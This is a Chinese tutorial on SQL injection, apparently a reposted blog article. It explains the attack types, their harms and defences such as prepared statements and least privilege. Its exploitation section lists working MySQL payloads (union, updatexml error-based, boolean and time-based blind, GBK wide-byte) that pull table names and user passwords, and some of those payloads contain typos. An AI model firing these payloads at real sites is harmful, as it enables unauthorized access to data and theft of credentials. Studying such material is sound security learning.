常见漏洞之SQL注入

一、SQL注入简介

SQL注入(SQL Injection)是一种代码注入技术,攻击者通过在Web应用程序的输入字段中插入恶意的SQL代码片段,以此来影响后端数据库的操作。这种攻击方式可能导致未经授权的数据访问、数据泄露甚至完全控制后端数据库。SQL注入通常发生在Web应用程序未能正确过滤或验证用户输入的情况下。当攻击者提交包含SQL命令的输入时,如果应用程序没有对其进行适当的处理,那么这些命令可能会被直接传递给数据库执行。这样,攻击者就可以利用这个漏洞来执行非预期的SQL操作,如查询、插入、更新或删除数据。

二、SQL注入的类型

sql注入有多种类型,可以根据注入方式、攻击目的和利用的技术进行分类。以下是一些常见的sql注入类型:

1.基于布尔的盲注(boolean-based blind sql injection)

当应用程序不对sql查询结果进行直接输出时,攻击者可以通过判断应用程序的响应或行为来推断数据库信息。例如,通过在输入中插入逻辑语句,如1=1(始终为真)或1=2(始终为假),来观察页面响应的变化。

2.基于时间的盲注(time-based blind sql injection)

类似于布尔盲注,但攻击者通过引入数据库的时间函数(如sleep())来制造延迟,从而根据响应时间来判断注入语句是否执行。

3.联合查询注入(union query injection)

攻击者通过添加一个union语句到原始查询中,可以合并两个或多个select查询的结果,从而检索额外的数据。

4.堆叠查询注入(stacked queries injection)

攻击者通过在原始查询后添加额外的查询,利用数据库对多个语句的处理能力来执行多条sql命令。

5.带内注入(inband sql injection)

当攻击者可以直接从正常响应中看到注入结果时,这种类型的sql注入称为带内注入。

6.带外注入(out-of-band sql injection)

攻击者利用数据库的外部功能(如发送电子邮件、http请求等)来获取数据,而不需要直接从sql注入点接收响应。

7.错误数据利用注入(error-based sql injection)

攻击者通过构造导致数据库错误信息的输入,利用错误信息来获取数据库的结构和数据。

8.二次注入(second order injection)

攻击者在用户的输入被应用程序存储并在后续的某个时间点用于构造sql语句时进行注入。

三、SQL注入的危害

1.数据泄露:SQL注入攻击可以导致敏感信息如用户密码、银行账户、个人资料以及商业机密等数据的非法访问和泄露。攻击者通过构造恶意的SQL语句,能够绕过应用程序的安全机制,直接从数据库中检索数据。

2.数据篡改:通过SQL注入漏洞,攻击者不仅能够查询数据库,还能修改数据库中的数据,破坏数据的完整性和真实性。例如,攻击者可以在数据库中插入新的记录,或者更改、删除已有的记录,这可能导致企业运营异常,甚至引发法律问题。

3.拒绝服务攻击:攻击者可以通过构造大量的恶意SQL语句并执行,使数据库服务器过载,耗尽系统资源,从而导致拒绝服务攻击。这种攻击会使得合法用户无法访问数据库服务,影响业务的正常运行。

4.权限提升与完全控制数据库:如果攻击者发现并利用了SQL注入漏洞,他们有可能通过执行恶意SQL语句来提升自己的数据库权限。在极端情况下,攻击者甚至可能获取到数据库的最高权限,从而完全控制数据库和其中存储的数据。

5.网页篡改与违法信息发布:如果网站目录具有写入权限,攻击者可以利用SQL注入漏洞在服务器上写入网页木马或进行网页内容篡改。这样,攻击者能够发布违法信息,损害企业声誉,或者通过钓鱼等手段进一步攻击其他用户。

6.远程控制服务器:通过提权操作,攻击者有可能远程控制被攻击的服务器。一旦攻击者获取了服务器的最高权限,他们可以安装后门程序,长期控制该服务器,甚至扩散到更广泛的网络中,对其他系统构成威胁。

四、防御措施

1.参数化查询

预编译语句:使用预编译语句(Prepared Statements)可以有效防止SQL注入,因为它将用户输入作为参数处理,而不是直接拼接到SQL语句中。这样,即使用户输入包含恶意字符,也不会改变SQL语句的结构。

参数化查询示例:在Java中使用PreparedStatement,可以将SQL语句中的变量用?标记代替,然后通过setString()等方法传入实际参数。这种方法确保了用户输入不会被解释为SQL代码的一部分。

2.输入验证

严格的输入过滤:对所有用户输入进行严格的验证和过滤,确保只接受预期格式的数据。例如,如果一个输入字段只接受数字,那么任何非数字字符都应被过滤掉。

输入验证示例:在PHP中使用filter_input()函数,可以指定期望的数据类型(如整数、邮箱等),并拒绝不符合要求的输入。这样可以在早期阶段阻止潜在的注入攻击。

3.输出编码

防止XSS攻击:对输出到页面的数据进行编码,以防止通过恶意输入进行跨站脚本(XSS)攻击。这可以确保即使攻击者尝试在用户输入中插入JavaScript代码,也无法成功执行。

输出编码示例:使用htmlspecialchars()函数可以将特殊字符转换为HTML实体,使其在浏览器中显示为文本,而不是被解析为代码。

4.数据库权限控制

最小权限原则:最小化数据库用户的权限,仅授予应用程序所需的最小权限。这样,即使发生SQL注入,攻击者也无法执行高权限操作。

权限控制示例:在MySQL中,可以使用GRANT语句为用户指定具体的权限,如SELECT、INSERT和UPDATE,而不是直接授予root权限。

5.定制Web应用防火墙

检测与阻止攻击:部署Web应用防火墙(WAF)可以检测和阻止常见的SQL注入攻击,从而提供额外的防护层。WAF可以根据已知的攻击模式自动拦截恶意请求。

WAF配置示例:配置WAF规则,以识别并阻止包含常见SQL注入特征的请求,如连续的单引号或SQL关键字。

6.定期安全审计

发现并修复漏洞:定期对应用程序和数据库进行安全审计,以发现并修复潜在的SQL注入漏洞。这可以通过自动化工具和手动检查相结合来完成。

五、测试利用

以mysql数据库为例

①前置知识知识----mysql

information_schema数据库里面有TABLES表。TABLES表里字段TABLE_SCHEMA存放所有数据库TABLES表里字段TABLE_NAME存放所有表。

②页面中存在回显  

经测试闭合方式为’

1.联合注入 union

?id=1'order by 3 --+                  

?id=-1'union select 1,2,3--+

?id=-1'union select 1,database(),version()--+

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

2.报错注入   extractvalue和updatexml函数

updatexml函数    updatexml(目标内容,XML文档路径,更新的内容)

?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+  XML文档路径的位置里写入子查询,我们输入特殊字符,因为不符合输入规则产生报错先执行子查0x7e是16进制也就是~符号

?id=1' and (select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e)) --+

?id=1' and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="users")),0x7e)) --+

?id=1' and (select updatexml(1,concat(0x7e,(select group_concat(,group_concat(username ,id , password) from users--+)),0x7e)) --+

?id=1'and (select updatexml(1,concat(0x7e,(select group_concat(username ,id , password)from users)),0x7e))

③页面无回显  闭合方式’

1.布尔盲注

?id=1' and length(database())=8--+   根据是否报错判断数据库的长度

?id=1' and substr(database(),1,1)='s'--+  根据报错判断字符串第一个字符是否是s这个只能用=去测试

?id=1' and ascii(substr(database(),1,1))>100--+     一个一个测试太慢了,使用assii函数

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+  根据报错找字段长度

?id=1' and assii(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1--+  找字段   

2.时间盲注

?id=1' and sleep(5) --+  测试是否存在时间盲注

?id=1'and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+   可以把=换成> <号去判断

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

④宽字节注入(编码必须为GBK)  

1.?id=-1%df%5c'order by 3 --+  

2.?id=-1%df%5c'union select 1,2,3--+

3.?id=-1%df%5c'union select 1,database(),2 --+

4.?id=-1%df%5c'union select 1,table_name from information_schema.tables where table_schema=database() limit 3,1 --+

5.?id=-1%df%5c'union select 1,column_name from information_schema.columns where tables_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 1,2 --+

6.?id=-1%df%5c'union select 1,usename,password from users --+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/773180.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

(十三)MipMap

MipMap概念 滤波 采样 mipmap级别判定 问题&#xff1a;opengl如何判定应该使用下一级的mipmap呢&#xff1f; 通过glsl中的求偏导函数计算变化量决定 手动实现mipmap原理 1、生成mipmap的各个级别 2、修改vertexShader使得三角形随着时间变小 **** 需要更改Filter才能…

《昇思25天学习打卡营第8天|模型训练》

文章目录 今日所学&#xff1a;一、构建数据集二、定义神经网络模型三、了解超参、损失函数和优化器1. 超参2. 损失函数3. 优化器 四、训练与评估总结 今日所学&#xff1a; 在今天这一节我主要学习了模型的训练&#xff0c;知道了模型训练一般分为四个步骤&#xff1a; 构建…

[C++]——同步异步日志系统(2)

同步异步日志系统 一、 不定参函数1.1 不定参宏函数的使用1.2 C 语言中不定参函数的使用1.3 C不定参数使用 二、设计模式2.1 单列模式2.2 工厂模式2.3 建造者模式2.4 代理模式 在我们开发同步异步日志系统之前&#xff0c;需要了解一些相关的技术知识。 一、 不定参函数 在初学…

华为OD机试 - 考古学家 - 递归(Java 2024 D卷 200分)

华为OD机试 2024D卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;D卷C卷A卷B卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一题都有详细的答题思路、详细的代码注释、样例测…

p6spy 组件打印完整的 SQL 语句、执行耗时

一、前言 我们来配置一下 Mybatis Plus 打印 SQL 功能&#xff08;包括执行耗时&#xff09;&#xff0c;一方面可以了解到每个操作都具体执行的什么 SQL 语句&#xff0c; 另一方面通过打印执行耗时&#xff0c;也可以提前发现一些慢 SQL&#xff0c;提前做好优化&#xff0c…

西门子继裁员4100人计划后,巨资开启万人招聘!46万员工再增员……

导语 大家好&#xff0c;我是社长&#xff0c;老K。专注分享智能制造和智能仓储物流等内容。 新书《智能物流系统构成与技术实践》 更多的海量【智能制造】相关资料&#xff0c;请到智能制造online知识星球自行下载。 近年来&#xff0c;西门子在全球范围内继续扩大其业务规模。…

leetcode--二叉树中的最长交错路径

leetcode地址&#xff1a;二叉树中的最长交错路径 给你一棵以 root 为根的二叉树&#xff0c;二叉树中的交错路径定义如下&#xff1a; 选择二叉树中 任意 节点和一个方向&#xff08;左或者右&#xff09;。 如果前进方向为右&#xff0c;那么移动到当前节点的的右子节点&…

《vue3》reactivity API(vue3的$set呢?)

在Vue2中&#xff0c;修改某一些数据&#xff0c;视图是不能及时重新渲染的。 比如数组 <div> {{ myHobbies }} </div>data: () > ({myHobbies: [篮球, 羽毛球, 桌球] }); mounted () {this.myHobbies[1] sing; // 视图层并没有改变 }因此&#xff0c;Vue2就提…

实验2 字符及字符串输入输出与分支程序设计实验

字符及字符串输入输出 从键盘输入两个一位十进制数&#xff0c;计算这两个数之和&#xff0c;并将结果在屏幕上显示出来。 分支程序设计 从键盘输入一字符&#xff0c;判断该字符是小写字母、大写字母、数字或者其他字符。若输入为小写字母&#xff0c;显示“You Input a Lo…

无忧易售功能:刊登页面文本翻译,无缝对接全球买家

每一个词语&#xff0c;每一句话&#xff0c;都承载着产品的灵魂和品牌的故事&#xff0c;无忧易售的刊登页面文本翻译服务&#xff0c;一键操作即可将你的产品介绍、详情或广告文案转化为多语言版本&#xff0c;轻松管理&#xff0c;高效发布。 一、Allegro、OZON、Coupang、…

手动将dingtalk-sdk-java jar包打入maven本地仓库

有时候,中央镜像库不一定有自己需要的jar包,这时候我们就需要用到该方法,将jar打入maven本地仓库,然后项目中,正常使用maven的引入规则。 mvn install:install-file -Dmaven.repo.local=D:\software\maven\apache-maven-3.6.3-bin\apache-maven-3.6.3\repo -DgroupId=ding…

高德地图轨迹回放并提示具体信息

先上效果图 到达某地点后显示提示语&#xff1a;比如&#xff1a;12&#xff1a;56分驶入康庄大道、左转驶入xx大道等 <!doctype html> <html> <head><meta charset"utf-8"><meta http-equiv"X-UA-Compatible" content"…

Datawhale AI夏令营2024 Task3

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 #AI夏令营 #Datawhale #夏令营 一、数据集制作1.1 环境配置1.2 数据处理prompt1.3 训练数据集制作1.4 测试集数据制作 二、模型微调2.1 平台微调2.2 平台微调 三、微调推理提…

天环公益原创开发进度网站源码带后台免费分享

天环公益计划首发原创开发进度网站源码带后台免费分享 后台地址是&#xff1a;admin.php 后台没有账号密码 这个没有数据库 有能力的可以自己改 天环公益原创开发进度网站 带后台

【Vue】使用html、css实现鱼骨组件

文章目录 组件测试案例预览图 组件 <template><div class"context"><div class"top"><div class"label-context"><div class"label" v-for"(item, index) in value" :key"index">…

深度解析Java世界中的对象镜像:浅拷贝与深拷贝的奥秘与应用

在Java编程的浩瀚宇宙中&#xff0c;对象拷贝是一项既基础又至关重要的技术。它直接关系到程序的性能、资源管理及数据安全性。然而&#xff0c;提及对象拷贝&#xff0c;不得不深入探讨其两大核心类型&#xff1a;浅拷贝&#xff08;Shallow Copy&#xff09;与深拷贝&#xf…

【ROS2】初级:CLI工具-使用 rqt_console 查看日志

目标&#xff1a;了解 rqt_console &#xff0c;一种用于内省日志消息的工具。 教程级别&#xff1a;初学者 时间&#xff1a;5 分钟 目录 背景 先决条件 任务 设置在 rqt_console 上的 2 条消息 日志级别 3 摘要 下一步 背景 rqt_console 是用于在 ROS 2 中内省日志消息的 GUI…

【Python实战因果推断】21_倾向分1

目录 The Impact of Management Training Adjusting with Regression 之前学习了如何使用线性回归调整混杂因素。此外&#xff0c;还向您介绍了通过正交化去偏差的概念&#xff0c;这是目前最有用的偏差调整技术之一。不过&#xff0c;您还需要学习另一种技术--倾向加权。这种…

东哥教你如何用Orange Ai pro为家里做一个垃圾分类检测机器

前言 最近入手了一块香橙派&#xff08;Orange Ai Pro&#xff09;的板子&#xff0c;他们的口号是&#xff1a;为AI而生&#xff0c;这让一个算法工程师按捺不住了&#xff0c; 之前主要是在RKNN和ESP32等设备上部署AI模型&#xff0c;看到官方介绍的强大AI算力&#xff0c;很…

how to use Xcode

Xcode IDE概览 Xcode 页面主要分为以下四个部分&#xff1a; 工具栏&#xff08;ToolBar area&#xff09;&#xff1a;主要负责程序运行调试&#xff0c;编辑器功能区域的显示 / 隐藏&#xff1b;编辑区&#xff08;Editor area&#xff09;&#xff1a;代码编写区域&#xf…
最新文章